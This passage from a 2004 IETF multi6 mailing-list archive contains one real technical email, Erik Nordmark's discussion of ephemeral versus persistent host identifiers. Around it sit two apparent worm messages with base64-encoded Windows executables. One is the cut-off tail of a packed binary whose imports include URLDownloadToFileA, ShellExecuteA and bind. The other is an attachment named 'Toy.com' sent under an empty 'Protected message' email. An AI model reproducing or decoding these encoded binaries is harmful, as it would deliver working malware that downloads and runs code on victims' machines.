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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA
AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA
kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A
/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3
d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA
AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA
Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////
////////////////////////////////////////////////////////////////////////
////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB////////
//////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA
AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA
oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA
AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA
AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1
AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA
2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s
ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA
d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz
AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA
U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm
QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAl4ogYKQfZjs4JJ54
jYK7GwZRsr0ePJ2IU5gWYWcRpcNxhJ48xaN8V503c3UoXLEVixgyxD5LHDQXjwgjxlWyS7yz
cSOAGiRztX9LPSmNxxeHTXG/e64gX3OQOzqxYrtSJpDEHpqZpBesIA0xUm/EmyQONgNbsE1N
PI9Qj0oaHr5mP4mqZWsNsSgNQDIVgpwquIONvZuEUR5mRAGPYAZ0KotIlkw7Oh8hmXnAOpR7
ny+Sh8F+EgaROxoogH46cFqJGmxlty01bzuBCcAYWW2CZ7FivWFhr39jPaaqJiFsk0ovY4VW
LSGehnKxvCCDsLE8cFQgGS9MH10=

----------cvxtnsobtkwnnligqqqs--




From owner-multi6@ops.ietf.org  Tue May 11 13:58:45 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA12528
	for <multi6-archive@lists.ietf.org>; Tue, 11 May 2004 13:58:45 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNbVW-000PiL-Rz
	for multi6-data@psg.com; Tue, 11 May 2004 17:57:34 +0000
Received: from [192.18.42.14] (helo=nwkea-mail-2.sun.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BNbVS-000Pfn-Ua
	for multi6@ops.ietf.org; Tue, 11 May 2004 17:57:30 +0000
Received: from bebop.France.Sun.COM ([129.157.174.15])
	by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id i4BHvIms003996;
	Tue, 11 May 2004 10:57:19 -0700 (PDT)
Received: from blixten (punchin-nordmark.SFBay.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.7p1+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id i4BHvFQ25549;
	Tue, 11 May 2004 19:57:16 +0200 (MEST)
Date: Tue, 11 May 2004 10:57:19 -0700 (PDT)
From: Erik Nordmark <Erik.Nordmark@sun.com>
Reply-To: Erik Nordmark <Erik.Nordmark@sun.com>
Subject: RE: Persistent or opportunistic IDs
To: mbagnulo@ing.uc3m.es
Cc: Erik Nordmark <Erik.Nordmark@sun.com>, Geoff Huston <gih@telstra.net>,
        Iljitsch van Beijnum <iljitsch@muada.com>,
        Multi6 List <multi6@ops.ietf.org>
In-Reply-To: "Your message with ID" <LIEEJBCNFDJHFFKJJDPAIECCEBAA.mbagnulo@ing.uc3m.es>
Message-ID: <Roam.SIMC.2.0.6.1084298239.25923.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

> Interesting approach indeed.
> This would also save us the need to perform the reverse+forward DNS lookup
> by the taget nodes, which would reduce the latency imposed by noid, since ,
> the client (initiating host) will discover the multiple addresses of the
> server using DNS as in noid, but the server will discover the multiple
> addresses of the client using WIMP

And the downside being that the server application will not be able 
do remember the client ID in order to do a "callback" (connect to the
client) a day later, because the ID->locator mapping wouldn't exist
in general - it would only exist when there is active communication
using the ephemeral ID.

Further understanding the pros and cons of such IDs is worth-while.

> Yes, the cost is aosociated with the fact that if you have a non ephemeral
> id you need to defend it, i guess

Yep. If you use ephemeral IDs, as long as the peer returns a "that ID is
already used by somebody other than you", the client
can pick a new ephemeral and try again.

> I guess is more than that, it implies the additional round trips to get the
> information from the central data base (DNS).

Agreed.

> An interesting point of the WIMP noid combination that you suggest is that
> you provide just what each end point needs i.e. if it is working as a
> server, it gets a mechanisms to be reached and discovered, the RR asociated
> with noid. If it is client, it gets an ephemeral identifier, which cannot be
> used to initiate contact. In the case pf p2p, i guess that it will be
> required to fall back to full noid.

Yes. In effect the application need to know and express to the "stack"
whether there is a need to do "callbacks" on referrals, since this
affects which source identifier to use for the communication.
Would such a scheme be acceptable for the applications?

   Erik




From owner-multi6@ops.ietf.org  Wed May 12 03:40:35 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA13697
	for <multi6-archive@lists.ietf.org>; Wed, 12 May 2004 03:40:35 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNoKS-000DMK-4Q
	for multi6-data@psg.com; Wed, 12 May 2004 07:39:00 +0000
Received: from [161.53.19.155] (helo=delboy.net)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BNoKQ-000DLR-FU
	for multi6@ops.ietf.org; Wed, 12 May 2004 07:38:58 +0000
Date: Wed, 12 May 2004 09:40:26 +0100
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: RE: Protected message
Message-ID: <mrmikwjpbanfevmzopq@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------zpkgfdwgiozqakckmbez"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-1.1 required=5.0 tests=BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------zpkgfdwgiozqakckmbez
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
 

<br>
</body></html>

----------zpkgfdwgiozqakckmbez
Content-Type: application/octet-stream; name="Toy.com"
Content-Disposition: attachment; filename="Toy.com"
Content-Transfer-Encoding: base64

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
